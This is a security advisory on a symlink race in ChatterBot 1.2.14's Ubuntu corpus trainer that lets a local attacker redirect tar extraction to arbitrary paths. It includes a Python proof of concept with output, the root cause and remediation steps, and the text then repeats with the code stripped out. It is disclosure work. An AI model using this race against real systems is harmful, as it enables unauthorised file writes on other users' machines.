ChatterBot UbuntuCorpusTrainer symlink race permits arbitrary writes after GHSA-wvrh fix
Summary
ChatterBot 1.2.14 added checks in UbuntuCorpusTrainer.extract() to reject a pre-existing symlink at the extraction destination and to reject tar symlink or hard-link members. Those checks do not close the race between validating the destination directory and calling tar.extractall().
A local attacker who can modify the predictable ~/ubuntu_data/ubuntu_dialogs path while another user or privileged process runs the Ubuntu corpus trainer can replace the checked directory with a symlink before extraction starts. The archive is then extracted through the symlink, writing attacker-controlled archive contents into the symlink target.
Impact
This is an incomplete fix for the same local arbitrary-write class as GHSA-wvrh-2f4m-924v. The bypass requires local filesystem access and timing the victim's training run, so attack complexity is higher than the original pre-planted symlink case. When the race is won, archive files are written outside the intended extraction directory through the attacker's symlink.
Affected Versions and Policy Check
Latest main at commit 2d909e2 and latest release tag 1.2.14 were revalidated. Both contain the vulnerable UbuntuCorpusTrainer.extract() implementation. The project SECURITY.md states that GitHub private vulnerability reporting is the accepted reporting channel. The vulnerable version range for this bypass is 1.2.14, the release that contains the incomplete GHSA-wvrh fix.
Reproduction
The proof below uses the current 1.2.14 code path and schedules the filesystem swap exactly after ChatterBot completes its symlink and tar-member validation but before the real tarfile.TarFile.extractall() call. That models the race window available to a local process watching the predictable destination path.
- Check out ChatterBot 1.2.14 or current master.
- Run this script from the repository root.
import importlib.util
import os
import shutil
import sys
import tarfile
import tempfile
import types
from pathlib import Path
# Load chatterbot/trainers.py without importing optional runtime dependencies.
chatterbot_pkg = types.ModuleType('chatterbot')
chatterbot_mod = types.ModuleType('chatterbot.chatterbot')
conversation_mod = types.ModuleType('chatterbot.conversation')
class ChatBot: pass
class Statement: pass
chatterbot_mod.ChatBot = ChatBot
conversation_mod.Statement = Statement
sys.modules.setdefault('chatterbot', chatterbot_pkg)
sys.modules['chatterbot.chatterbot'] = chatterbot_mod
sys.modules['chatterbot.conversation'] = conversation_mod
spec = importlib.util.spec_from_file_location('cb_trainers_under_test', 'chatterbot/trainers.py')
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
UbuntuCorpusTrainer = module.UbuntuCorpusTrainer
root = Path(tempfile.mkdtemp(prefix='cb_pvr_gate_'))
try:
data_dir = root / 'ubuntu_data'
data_path = data_dir / 'ubuntu_dialogs'
outside = root / 'attacker_target'
data_dir.mkdir()
outside.mkdir()
src = root / 'src'
src.mkdir()
(src / 'pwned.txt').write_text('marker from tar extraction\n')
archive = root / 'corpus.tar'
with tarfile.open(archive, 'w') as tar:
tar.add(src / 'pwned.txt', arcname='pwned.txt')
trainer = UbuntuCorpusTrainer.__new__(UbuntuCorpusTrainer)
trainer.disable_progress = True
trainer.data_directory = str(data_dir)
trainer.data_path = str(data_path)
trainer.TrainerInitializationException = Exception
trainer.chatbot = types.SimpleNamespace(logger=types.SimpleNamespace(info=lambda *a, **k: None))
original_extractall = tarfile.TarFile.extractall
swapped = {'done': False}
def attacker_scheduled_extractall(self, path='.', members=None, *, numeric_owner=False):
if not swapped['done']:
if os.path.isdir(data_path) and not os.path.islink(data_path):
shutil.rmtree(data_path)
os.symlink(outside, data_path)
swapped['done'] = True
return original_extractall(self, path, members, numeric_owner=numeric_owner)
tarfile.TarFile.extractall = attacker_scheduled_extractall
try:
trainer.extract(str(archive))
finally:
tarfile.TarFile.extractall = original_extractall
outside_marker = outside / 'pwned.txt'
print(f'swapped_after_validation={swapped["done"]}')
print(f'data_path_is_symlink={os.path.islink(data_path)}')
print(f'outside_marker_exists={outside_marker.exists()}')
print(f'outside_marker_content={outside_marker.read_text().strip()}')
finally:
shutil.rmtree(root, ignore_errors=True)
Observed output:
swapped_after_validation=True
data_path_is_symlink=True
outside_marker_exists=True
outside_marker_content=marker from tar extraction
Root Cause and Technical Details
UbuntuCorpusTrainer.extract() checks the destination once, then creates it if missing, then performs member validation, and finally calls tar.extractall() using the same path string:
if os.path.islink(self.data_path):
raise self.TrainerInitializationException(...)
if not os.path.exists(self.data_path):
os.makedirs(self.data_path)
...
tar.extractall(path, members, numeric_owner=numeric_owner)
The validation does not hold an opened directory file descriptor, does not make the extraction target private, and does not re-check the resolved destination immediately before each file write. A local process can therefore replace the destination directory with a symlink after the check has passed. tarfile.extractall() follows that symlink while creating extracted files.
The tar-member link checks work for malicious symlink or hard-link entries inside the archive, and the initial os.path.islink(self.data_path) check works for a symlink planted before extraction begins. The remaining issue is the time-of-check to time-of-use gap on the destination itself.
Remediation
Avoid extracting into a path that can be swapped after validation. Safer options include:
- Create a new private temporary directory with restrictive permissions, extract there, then atomically rename it into place only after validation succeeds.
- Open and operate relative to a trusted directory file descriptor, and reject symlinks during each component creation.
- Re-check that the resolved extraction root is still the intended directory immediately before every member write, not only before
extractall().
- Avoid
extractall() for this path and implement member extraction with explicit openat-style checks where available.
ChatterBot UbuntuCorpusTrainer symlink race permits arbitrary writes after GHSA-wvrh fix
Summary
ChatterBot 1.2.14 added checks in
UbuntuCorpusTrainer.extract()to reject a pre-existing symlink at the extraction destination and to reject tar symlink or hard-link members. Those checks do not close the race between validating the destination directory and callingtar.extractall().A local attacker who can modify the predictable
~/ubuntu_data/ubuntu_dialogspath while another user or privileged process runs the Ubuntu corpus trainer can replace the checked directory with a symlink before extraction starts. The archive is then extracted through the symlink, writing attacker-controlled archive contents into the symlink target.Impact
This is an incomplete fix for the same local arbitrary-write class as GHSA-wvrh-2f4m-924v. The bypass requires local filesystem access and timing the victim's training run, so attack complexity is higher than the original pre-planted symlink case. When the race is won, archive files are written outside the intended extraction directory through the attacker's symlink.
Affected Versions and Policy Check
Latest main at commit 2d909e2 and latest release tag 1.2.14 were revalidated. Both contain the vulnerable
UbuntuCorpusTrainer.extract()implementation. The project SECURITY.md states that GitHub private vulnerability reporting is the accepted reporting channel. The vulnerable version range for this bypass is 1.2.14, the release that contains the incomplete GHSA-wvrh fix.Reproduction
The proof below uses the current 1.2.14 code path and schedules the filesystem swap exactly after ChatterBot completes its symlink and tar-member validation but before the real
tarfile.TarFile.extractall()call. That models the race window available to a local process watching the predictable destination path.Observed output:
Root Cause and Technical Details
UbuntuCorpusTrainer.extract()checks the destination once, then creates it if missing, then performs member validation, and finally callstar.extractall()using the same path string:The validation does not hold an opened directory file descriptor, does not make the extraction target private, and does not re-check the resolved destination immediately before each file write. A local process can therefore replace the destination directory with a symlink after the check has passed.
tarfile.extractall()follows that symlink while creating extracted files.The tar-member link checks work for malicious symlink or hard-link entries inside the archive, and the initial
os.path.islink(self.data_path)check works for a symlink planted before extraction begins. The remaining issue is the time-of-check to time-of-use gap on the destination itself.Remediation
Avoid extracting into a path that can be swapped after validation. Safer options include:
extractall().extractall()for this path and implement member extraction with explicitopenat-style checks where available.